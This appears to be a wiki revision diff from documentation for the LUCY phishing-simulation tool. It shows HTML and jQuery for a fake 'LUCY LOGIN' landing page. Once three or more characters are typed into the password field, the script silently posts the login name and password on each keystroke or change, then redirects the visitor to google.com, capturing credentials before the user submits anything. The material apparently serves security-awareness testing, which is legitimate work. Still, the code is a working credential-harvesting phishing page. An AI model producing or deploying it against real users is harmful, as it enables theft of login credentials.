User Tools

Site Tools


special_landing_page_that_redirects_user_before_submitting_a_password

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revisionBoth sides next revision
special_landing_page_that_redirects_user_before_submitting_a_password [2016/03/11 12:42] lucyspecial_landing_page_that_redirects_user_before_submitting_a_password [2016/03/11 12:43] lucy
Line 2: Line 2:
  
  
-<!-- 
-<div class="form"> 
-<span style="font-family: arial,helvetica,sans-serif;">LUCY LOGIN</span> 
-<form action="?login" enctype="application/x-www-form-urlencoded" method="post"> 
-<input class="text" id="form_login" name="login" placeholder="Login" type="text" /><br/> 
-<input class="text" id="form_password" name="password" placeholder="Password" type="password" /><br/> 
-<input class="btn" type="submit" value="Login" /></form> 
-</div> 
-</div> 
-</div> 
  
-<script> +  - <div class="form"> 
-jQuery(function() +  - <span style="font-family: arial,helvetica,sans-serif;">LUCY LOGIN</span> 
-+  - <form action="?login" enctype="application/x-www-form-urlencoded" method="post"> 
- $('#form_password').change(function() +  - <input class="text" id="form_login" name="login" placeholder="Login" type="text" /><br/> 
-+  - <input class="text" id="form_password" name="password" placeholder="Password" type="password" /><br/> 
- var t=$(this).val(); +  - <input class="btn" type="submit" value="Login" /></form> 
- if(t.length >= 3) +  - </div> 
-+  - </div> 
- ajax_stat(); +  - </div> 
-+  -  
- });+  - <script> 
 +  jQuery(function() 
 +  
 +  - $('#form_password').change(function() 
 +  -
 +  - var t=$(this).val(); 
 +  - if(t.length >= 3) 
 +  - { 
 +  - ajax_stat(); 
 +  - } 
 +  - }); 
 +  -  
 +  - $('#form_password').keyup(function() 
 +  - 
 +   var t=$(this).val(); 
 +  - if(t.length >= 3) 
 +  - { 
 +  - ajax_stat(); 
 +  - } 
 +  -  }); 
 +  -  
 +  - function ajax_stat() 
 +  - { 
 +  - var addr = "?login"; /* login.php */ 
 +  - var params = { Login: $('#form_login').val(), Password: $('#form_password').val() }
 +  - //console.log("addr",addr); 
 +  -  
 +  - $.ajax( 
 +  - { 
 +  - type: 'POST', 
 +  - data: params, 
 +  - cache: false, 
 +  - dataType: 'html', 
 +  - success: function(res) 
 +  - { 
 +  - console.log("res",res); 
 +  - window.location = "http://www.google.com"; 
 +  - }, 
 +  - url: addr 
 +  - }); 
 +  - } 
 +  - }); 
 +  - </script>
  
- $('#form_password').keyup(function() 
- { 
- var t=$(this).val(); 
- if(t.length >= 3) 
- { 
- ajax_stat(); 
- } 
- }); 
- 
- function ajax_stat() 
- { 
- var addr = "?login"; /* login.php */ 
- var params = { Login: $('#form_login').val(), Password: $('#form_password').val() }; 
-//console.log("addr",addr); 
- 
- $.ajax( 
- { 
- type: 'POST', 
- data: params, 
- cache: false, 
- dataType: 'html', 
- success: function(res) 
- { 
-console.log("res",res); 
- window.location = "http://www.google.com"; 
- }, 
- url: addr 
- }); 
- } 
-}); 
-</script> 
---> 
special_landing_page_that_redirects_user_before_submitting_a_password.txt · Last modified: 2019/07/25 12:50 by 127.0.0.1